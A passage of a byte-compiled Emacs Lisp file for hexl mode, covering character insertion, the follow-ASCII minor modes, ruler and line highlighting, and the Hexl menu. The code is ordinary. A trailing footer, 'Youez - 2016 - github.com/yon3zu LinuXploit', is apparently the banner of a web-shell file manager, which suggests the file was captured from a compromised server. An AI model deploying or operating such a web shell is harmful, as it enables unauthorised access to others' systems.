multibyte characters should be inserted with cursor on the first
byte of a multibyte sequence whose length is identical to the
length of the multibyte sequence to be inserted, otherwise this
could produce invalid multibyte sequences.  Non-ASCII characters
in ISO-2022 encodings should preferably inserted byte by byte, to
avoid problems caused by the designation sequences before the
actual characters.

(fn ARG)
(defalias 'hexl-insert-decimal-char #[257 "\300\301\302!!\211\303W\203\304\305!\207\306\"\207" [string-to-number read-string "Decimal Number: " 0 error "Decimal number out of range" hexl-insert-multibyte-char] 5 (#$ . 30734) "p"])
#@810 Insert a character given by its octal code ARG times at point.

Values above \377 are treated as multibyte characters, and first encoded
using `buffer-file-coding-system'.  Note that if the hexl buffer was
produced by `hexl-find-file', its coding-system is no-conversion.

Inserting non-ASCII characters requires caution: the buffer's
coding-system should correspond to the encoding on disk, and
multibyte characters should be inserted with cursor on the first
byte of a multibyte sequence whose length is identical to the
length of the multibyte sequence to be inserted, otherwise this
could produce invalid multibyte sequences.  Non-ASCII characters
in ISO-2022 encodings should preferably inserted byte by byte, to
avoid problems caused by the designation sequences before the
actual characters.

(fn ARG)
(defalias 'hexl-insert-octal-char #[257 "\300\301\302!!\211\303W\203\304\305!\207\306\"\207" [hexl-octal-string-to-integer read-string "Octal Number: " 0 error "Decimal number out of range" hexl-insert-multibyte-char] 5 (#$ . 31786) "p"])
#@113 Non-nil if Hexl-Follow-Ascii mode is enabled.
Use the command `hexl-follow-ascii-mode' to change this variable.
(defvar hexl-follow-ascii-mode nil (#$ . 32845))
(make-variable-buffer-local 'hexl-follow-ascii-mode)
#@791 Minor mode to follow ASCII in current Hexl buffer.

This is a minor mode.  If called interactively, toggle the
`Hexl-Follow-Ascii mode' mode.  If the prefix argument is positive,
enable the mode, and if it is zero or negative, disable the mode.

If called from Lisp, toggle the mode if ARG is `toggle'.  Enable the
mode if ARG is nil, omitted, or is a positive number.  Disable the
mode if ARG is a negative number.

To check whether the minor mode is enabled in the current buffer,
evaluate `hexl-follow-ascii-mode'.

The mode's hook is called both when the mode is enabled and when it is
disabled.

When following is enabled, the ASCII character corresponding to the
element under the point is highlighted.
The default activation is controlled by `hexl-follow-ascii'.

(fn &optional ARG)
(defalias 'hexl-follow-ascii-mode #[256 "\303 \304=\203
?\202\247\203\305W\203\306\202\307\310\301!\2031\311\300	\"\2031\300	B\203N\n\204D\312``\"\313\n\314\315#\210\316\317\320\306\307$\210\202^\n\203X\321\n!\210\306\322\317\320\307#\210\323\324\203h\325\202i\326\"\210\327\330!\203\213\303 \203}\211\303 \232\203\213\331\332\203\207\333\202\210\334\335#\210\210\336 \210\207" [hexl-follow-ascii-mode local-minor-modes hexl-ascii-overlay current-message toggle 1 nil t boundp delq make-overlay overlay-put face highlight add-hook post-command-hook hexl-follow-ascii-find delete-overlay remove-hook run-hooks hexl-follow-ascii-mode-hook hexl-follow-ascii-mode-on-hook hexl-follow-ascii-mode-off-hook called-interactively-p any message "Hexl-Follow-Ascii mode %sabled%s" "en" "dis" " in current buffer" force-mode-line-update] 7 (#$ . 33066) (byte-code "\203\n\301!\202\302C\207" [current-prefix-arg prefix-numeric-value toggle] 2)])
(defvar hexl-follow-ascii-mode-hook nil)
(byte-code "\301\302N\204\f\303\301\302\304#\210\303\301\305\306#\210\303\301\307\310C#\210\311\312\310\313\300!\205#\310\211%\210\314\315\316\317\320DD\321\322\323\324\325\326\327&	\207" [hexl-follow-ascii-mode-map hexl-follow-ascii-mode-hook variable-documentation put "Hook run after entering or leaving `hexl-follow-ascii-mode'.\nNo problems result if this variable is not bound.\n`add-hook' automatically binds it.  (This is true for all hook variables.)" custom-type hook standard-value nil add-minor-mode hexl-follow-ascii-mode boundp custom-declare-variable hexl-follow-ascii funcall function #[0 "\300\207" [nil] 1 ""] "Non-nil if Hexl-Follow-Ascii mode is enabled.\nSee the `hexl-follow-ascii' command\nfor a description of this minor mode.\nSetting this variable directly does not take effect;\neither customize it (see the info node `Easy Customization')\nor call the function `hexl-follow-ascii'." :set custom-set-minor-mode :initialize custom-initialize-default :type boolean] 10)
#@689 Toggle following ASCII in Hexl buffers.
Like `hexl-follow-ascii-mode' but remembers the choice globally.

This is a minor mode.  If called interactively, toggle the
`Hexl-Follow-Ascii mode' mode.  If the prefix argument is positive,
enable the mode, and if it is zero or negative, disable the mode.

If called from Lisp, toggle the mode if ARG is `toggle'.  Enable the
mode if ARG is nil, omitted, or is a positive number.  Disable the
mode if ARG is a negative number.

To check whether the minor mode is enabled in the current buffer,
evaluate `(default-value \='hexl-follow-ascii)'.

The mode's hook is called both when the mode is enabled and when it is
disabled.

(fn &optional ARG)
(defalias 'hexl-follow-ascii #[256 "\304 \305\303\306=\203\307\303!?\202!\247\203 \310W\203 \311\202!\312\"\210\313\300!\2038\314\303\"\307\303!\2038\303B\203D\315!\316V\202F	?\302\203O\310\202P\317!\210\n\210\320\321\307\303!\203a\322\202b\323\"\210\324\325!\203\212\326\303!\210\304 \203z\211\304 \232\203\212\327\330\307\303!\203\206\331\202\207\332\333#\210\210\334 \210\307\303!\207" [global-minor-modes hexl-ascii-overlay hexl-follow-ascii-mode hexl-follow-ascii current-message set-default toggle default-value 1 nil t boundp delq prefix-numeric-value 0 -1 run-hooks hexl-follow-ascii-hook hexl-follow-ascii-on-hook hexl-follow-ascii-off-hook called-interactively-p any customize-mark-as-set message "Hexl-Follow-Ascii mode %sabled%s" "en" "dis" "" force-mode-line-update] 6 (#$ . 35876) (byte-code "\203\n\301!\202\302C\207" [current-prefix-arg prefix-numeric-value toggle] 2)])
(defvar hexl-follow-ascii-hook nil)
(byte-code "\301\302N\204\f\303\301\302\304#\210\303\301\305\306#\210\303\301\307\310C#\210\311\312\310\313\300!\205#\310\211%\207" [hexl-follow-ascii-map hexl-follow-ascii-hook variable-documentation put "Hook run after entering or leaving `hexl-follow-ascii'.\nNo problems result if this variable is not bound.\n`add-hook' automatically binds it.  (This is true for all hook variables.)" custom-type hook standard-value nil add-minor-mode hexl-follow-ascii boundp] 6)
#@24 Activate `ruler-mode'.
(defalias 'hexl-activate-ruler #[0 "\301\302!\210\303\300!\210\304\302\305!\207" [ruler-mode-ruler-function require ruler-mode make-local-variable hexl-mode-ruler 1] 2 (#$ . 38001)])
#@26 Activate `hl-line-mode'.
(defalias 'hexl-follow-line #[0 "\302\303!\210\304\300!\210\305\304\301!\210\306\307\310!\207" [hl-line-range-function hl-line-face require hl-line make-local-variable hexl-highlight-line-range highlight hl-line-mode 1] 2 (#$ . 38214)])
#@128 Return the range of address region for the point.
This function is assumed to be used as callback function for `hl-line-mode'.
(defalias 'hexl-highlight-line-range #[0 "\300 \300 \301\\B\207" [line-beginning-position 9] 3 (#$ . 38485)])
#@70 Find and highlight the ASCII element corresponding to current point.
(defalias 'hexl-follow-ascii-find #[0 "\301 `iZ\\\302\303 \304\"\\\305\211T#\207" [hexl-ascii-overlay hexl-ascii-start-column mod hexl-current-address 16 move-overlay] 5 (#$ . 38728)])
#@38 Return a string ruler for Hexl mode.
(defalias 'hexl-mode-ruler #[0 "\303\304 \305\"	\236A\306\n\203\307\310\311!!\202\306\312\306G\313$\210\211\306V\2033\314\315\"P\262\211\316_\262\317\320#\203Q\306\225\262\321\306\224\322\323\324SE%\210\2023\325_\326_\245\\\306V\203e\211\\\262\321\327\\\330\\\331\332%\266\321\333\334 \316$\333\334 \325$\331\332%\210\207" [hexl-bits hexl-rulers display-line-numbers mod hexl-current-address 16 0 round line-number-display-width columns set-text-properties nil make-string 32 1 string-match "[ 	]+" put-text-property display space :align-to 2 8 11 13 face highlight + hexl-ascii-start-column] 11 (#$ . 38990)])
#@17 Hexl Mode menu.
(defvar hexl-menu nil (#$ . 39688))
(byte-code "\301\302\303\304$\210\305\306!\207" [hexl-mode-map easy-menu-do-define hexl-menu "Hexl Mode menu." ("Hexl" :help "Hexl-specific Features" ["Backward short" hexl-backward-short :help "Move to left a short"] ["Forward short" hexl-forward-short :help "Move to right a short"] ["Backward word" hexl-backward-short :help "Move to left a word"] ["Forward word" hexl-forward-short :help "Move to right a word"] "-" ["Beginning of 512b page" hexl-beginning-of-512b-page :help "Go to beginning of 512 byte boundary"] ["End of 512b page" hexl-end-of-512b-page :help "Go to end of 512 byte boundary"] ["Beginning of 1K page" hexl-beginning-of-1k-page :help "Go to beginning of 1KB boundary"] ["End of 1K page" hexl-end-of-1k-page :help "Go to end of 1KB boundary"] "-" ["Go to address" hexl-goto-address :help "Go to hexl-mode (decimal) address"] ["Go to address" hexl-goto-hex-address :help "Go to hexl-mode (hex string) address"] "-" ["Insert decimal char" hexl-insert-decimal-char :help "Insert a character given by its decimal code"] ["Insert hex char" hexl-insert-hex-char :help "Insert a character given by its hexadecimal code"] ["Insert octal char" hexl-insert-octal-char :help "Insert a character given by its octal code"] "-" ["Exit hexl mode" hexl-mode-exit :help "Exit hexl mode returning to previous mode"]) provide hexl] 5)

Youez - 2016 - github.com/yon3zu
LinuXploit